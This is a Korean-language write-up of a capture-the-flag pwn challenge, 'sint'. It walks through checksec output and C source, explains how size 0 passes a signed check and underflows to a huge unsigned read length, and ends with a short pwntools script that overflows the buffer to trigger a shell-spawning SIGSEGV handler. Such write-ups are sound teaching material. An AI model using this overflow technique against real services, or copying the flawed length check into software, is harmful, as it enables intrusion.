sint

A signed comparison lets a negative length through, which then becomes a huge unsigned size in the copy.

2026.08.18 Pwn original post

checksec 으로 적용된 보호기법과 소스 코드를 봅시다.

$ checksec ./sint
[*] '/Users/chaeeun/Desktop/fd7baa65-acbc-4b43-a9d0-b8bfd51cdae5/sint'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    Stripped: No
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    char buf[256];
    int size;

    initialize();
    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);
    if (size > 256 || size < 0) {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);
    return 0;
}

실습환경에 ASLR 이랑 NX 가 적용된 것을 확인할 수 있다. + partial RELRO. get_shell 이 목표인 거 같고, 문제의 핵심은 size - 1 에서 발생하는 integer underflow / signed-to-unsigned 인 거 같습니다.

취약한 부분은 여기입니다.

read(0, buf, size - 1);

앞에서 검사는 이렇게 되어 있습니다.

if (size > 256 || size < 0)

그래서 size 가 음수이거나 256보다 크면 막힙니다. 그런데 size = 0 은 통과합니다. size = 0 을 입력하면 size - 10 - 1 = -1 이 됩니다.

그런데 read() 함수의 세 번째 인자는 size_t 타입입니다.

ssize_t read(int fd, void *buf, size_t count);

size_t 는 unsigned 정수형입니다. 따라서 -1이 size_t 로 변환되면서 엄청 큰 값이 됩니다. 32bit 바이너리이므로:

-1 → 0xffffffff

size 는 “얼마나 많이 읽어도 되는지”를 정하는 값일 뿐입니다. 실제로 메모리를 망가뜨리는 것은 Data 입력 내용입니다. 프로그램은 Size 입력 내용 때문에 Data 를 최대 0xffffffff 바이트까지 읽어도 된다고 착각합니다. 그럼 결과적으로 read() 가 256바이트보다 훨씬 많은 데이터를 buf 에 쓰려고 하면서 stack buffer overflow 가 발생합니다.

그럼 이걸로 어떻게 /bin/sh 를 실행할 수 있나.. 이 코드가 매우 특이합니다.

signal(SIGSEGV, get_shell);

즉, 프로그램에서 Segmentation Fault 가 발생하면 원래는 죽어야 하는데, 대신 get_shell() 함수가 실행됩니다.

void get_shell() {
    system("/bin/sh");
}

여기 exploit 코드입니다.

from pwn import *

p = remote("host3.dreamhack.games", 22469)

p.sendlineafter(b"Size: ", b"0")
p.sendafter(b"Data: ", b"A" * 400)   # 256 보다 훨씬 큼

p.interactive()